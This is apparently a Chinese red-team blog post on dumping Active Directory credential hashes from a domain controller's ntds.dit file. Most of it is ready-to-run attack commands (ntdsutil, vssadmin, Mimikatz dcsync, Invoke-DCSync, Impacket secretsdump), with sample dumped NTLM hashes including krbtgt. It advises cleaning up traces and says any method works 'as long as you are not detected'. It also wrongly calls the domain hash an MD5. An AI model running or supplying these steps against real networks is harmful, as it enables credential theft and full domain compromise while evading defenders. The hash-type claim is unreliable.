前言
域用户的哈希值存储在域管服务器的ntds.dit的数据库文件中,除此之外还有用户信息和组成员信息。ntds.dit文件无法直接复制到其他位置进行离线破解和提取(类似于本地存储的SYSTEM),其存储位置为:C:\Windows\NTDS\NTDS.dit。本文主要介绍如何提取ntds.dit
ntdsutil快照
该命令默认安装[Windows 2003及以上]
查看当前快照列表
ntdsutil snapshot
list all
quit
quit
创建快照
ntdsutil snapshot
activate instance ntds
create
quit
quit
记下快照的guid,即{中间数字内容},后面要用。
挂载快照
ntdsutil snapshot
mount {51278414-cd4a-49c5-841b-907a4beb6b7}
quit
quit
机器中有几块硬盘,那么就会生成几个快照分区,快照分区会以$SNAP_时间_VOLUME{分区名}$进行命名
寻找ntds.dit
一般情况下会在c:\windows\ntds\目录下
注意看时间,一定要最近日期的,有一些域控机器上的ntds.dit很古老,可能是备份到其他目录下了,需要再找一下,可能还会遇到磁盘空间不足的情况,自行斟酌。
拷贝ntds.dit
copy C:\$SNAP_202102272012_VOLUMEC$\Windows\NTDS\ntds.dit c:\
卸载快照
ntdsutil snapshot
unmount {51278414-cd4a-49c5-841b-907a4beb6b7}
quit
quit
获取注册表中的system文件
reg save hklm\system c:\system.hive
通过NtdsDumpex.exe提取域用户hash
NTDSDumpEx.exe -d C:\ntds.dit -s c:\system.hive -o c:\hash.txt
以最后一行的hacker为例,域账户为:hacker,域加密后的hash密码为:d263c03b51f9dda0b7c9f04da78631c2,使用在线md5解密,即可成功解出密码为:123456789aA
一句话版本
ntdsutil "ac in ntds" "ifm" "cr fu c:\\windows\temp\temp\"
生成的文件在c:\windows\temp\temp
全部结束后记得清理现场
VSSADMIN卷影副本
卷影副本是Windows命令行一种即便被操作系统使用也能够用于管理员备份计算机,卷,文件的实用程序。卷影复制作为服务运行,并要求将文件系统格式化为NTFS,默认情况在所有现代操作系统下都是如此。从Windows命令提示符执行以下操作将创建C:驱动器盘的快照,以便用户访问通常无法访问这些文件,并将其其复制到另一个位置(本地文件夹,网络文件夹或可移动介质)。
注:要有管理员权限
查看卷影列表
vssadmin list shadows
创建卷影列表
vssadmin create shadow /for=c:
获取NDTS.dit和SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\ntds\ntds.dit c:\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\system32\config\SYSTEM c:\
删除卷影列表
vssadmin Delete Shadows /For=C:
Mimikatz
Mimikatz具有一个功能(dcsync),该功能利用目录复制服务(DRS)从NTDS.DIT文件中查找密码哈希。这种技术消除了直接向域控制器进行身份验证的需要,因为它可以从域管理员的上下文中作为域一部分的任何系统中执行。因此,这是红队的标准姿势,因为动静较小。
lsadump::dcsync /domain:pentestlab.local /all /csv
Nishang
Nishang是一个PowerShell框架,它使红队和渗透测试人员可以对系统执行攻击性操作。其中VSS脚本可以用于自动提取所需的文件:NTDS.DIT,SAM和SYSTEM。这些文件将解压缩到当前工作目录或指定的任何其他文件夹中。
Import-Module .\Copy-VSS.ps1
Copy-VSS c:\temp
会在c:\temp 导出这三个文件
Invoke-DCSync
强烈推荐使用此方法
Invoke–DCSync 是Nick Landers利用PowerView开发的powershell脚本。类似于Mimikatz中的DCsync方法使用 Invoke-ReflectivePEInjection和PowerKatz的DLL文件来获取哈希值。
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync
结果将格式化为四个表:Domain,User,RID和Hash。但是,使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式检索哈希:user: id: lm: ntlm:::
Invoke-DCSync -PWDumpFormat
Metasploit
如果已经拿到域控制器的现有Meterpreter会话,则可以使用命令hashdump。但是,此方法不安全,因为它可能会使域控控制器崩溃。(慎重)
hashdump
secretsdump
Impacket是python脚本集合,可用于执行各种任务,包括提取NTDS文件的内容。该模块impacket-secretsdump需要SYSTEM和NTDS数据库文件。
-system:表示系统hive文件的路径(SYSTEM)
-ntds:表示dit文件的路径(ntds.dit)
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
Secretsdump也可以通过 DCSync 技术导出域控制器上用户的哈希。该工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。其最大的优点是支持从域外的计算机连接至域控制器。使用前提是有域管理员账户或hash
python secretsdump.py sun/administrator:dc123.com@192.168.138.138 -dc-ip 192.168.138.138
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e8bea972b3549868cecd667a64a6ac46:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:65dc23a67f31503698981f2665f9d858:::
admin:1000:aad3b435b51404eeaad3b435b51404ee:acbacc4c402fe744ea89dc4e5572262f:::
sun.com\leo:1110:aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:9af9184d255cf8438408c7973cb85984:::
WIN7$:1105:aad3b435b51404eeaad3b435b51404ee:270d9111fba48844dc33db6d204f5fc6:::
总结
网上好多方法要么写的云里雾里的,要么复现不起,底下的文章Dump域内用户Hash姿势集合,搭配着安恒红皮书,思路才非常的清楚。确实得到域用户hash的方法非常多,但不管哪种方法,不被发现就行。
参考资料
Dump域内用户Hash姿势集合
从NTDS.dit获取密码hash的三种方法
内网渗透测试:DCSync 攻击技术的利用研究